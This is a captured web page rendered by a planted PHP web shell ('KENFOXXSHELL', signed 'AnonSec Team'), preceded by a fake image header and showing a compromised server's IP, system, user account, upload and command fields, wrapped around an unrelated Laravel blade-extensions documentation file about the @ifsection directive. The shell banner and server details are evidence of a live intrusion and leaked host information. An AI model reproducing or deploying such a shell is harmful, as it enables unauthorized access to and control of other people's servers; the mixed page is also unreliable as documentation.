ÿØÿàJFIFHHÿÛC     ÿÛC  ÿÂ"ÿÄÿÄÿÚ ±5¬€ÿÄàÿÚÿÄÀÿÚ?ÿÄÀÿÚ?ÿÄàÿÚ?ÿÄàÿÚ?!ÿÚ ÿÄÀÿÚ?ÿÄÀÿÚ?ÿÄàÿÚ?ÿÙ Donat Was Here
KENFOXXSHELL
Server IP : 160.25.81.117  /  Your IP : 216.73.216.137
Web Server : Apache/2
System : Linux sv05.hilab.cloud 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : bellizen ( 1045)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/bellizen/public_html/vaoday/vendor/radic/blade-extensions/docs/directives/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/bellizen/public_html/vaoday/vendor/radic/blade-extensions/docs/directives/ifsection.md
---
title: If section
subtitle: '@ifsection @elseifsecton @endifsection'
---

# If section
check the [pull-request](https://github.com/RobinRadic/blade-extensions/pull/43)

`@ifsection` allows patterns like this:

**panel.blade.php**

```php
<div class="panel">

    @ifsection('header')
    <div class="panel-header">
        @yield('header')
    </div>
    @endifsection

    <div class="panel-content">
        @yield('content')
    </div>

    @ifsection('footer')
    <div class="panel-footer">
        @yield('footer')
    </div>
    @endifsection

</div>
```

**example-without-footer.blade.php**

```php
@extends('panel')

@section('header')
    This is the header
@endsection

@section('content')
    This is some content
@endsection
```

**example-without-header.blade.php**

```php
@extends('panel')

@section('content')
    This is some content
@endsection

@section('footer')
    This is the footer
@endsection
```

It becomes much more useful when combined with `@embed`

**page.blade.php**

```php
@embed('panel')
    @section('header')
        This is the header
    @endsection

    @section('content')
        This is some content
    @endsection
@endembed
```

I agree `@ifsection` is probably not the ideal solution to this specific problem. A helper function would be much better as it could be used as a param within other directives. I was unable to figure out how to make one that accomplished the same thing. Do you have any alternative ideas for implementing this pattern? or how it could be done with a helper function?

Anon7 - 2022
AnonSec Team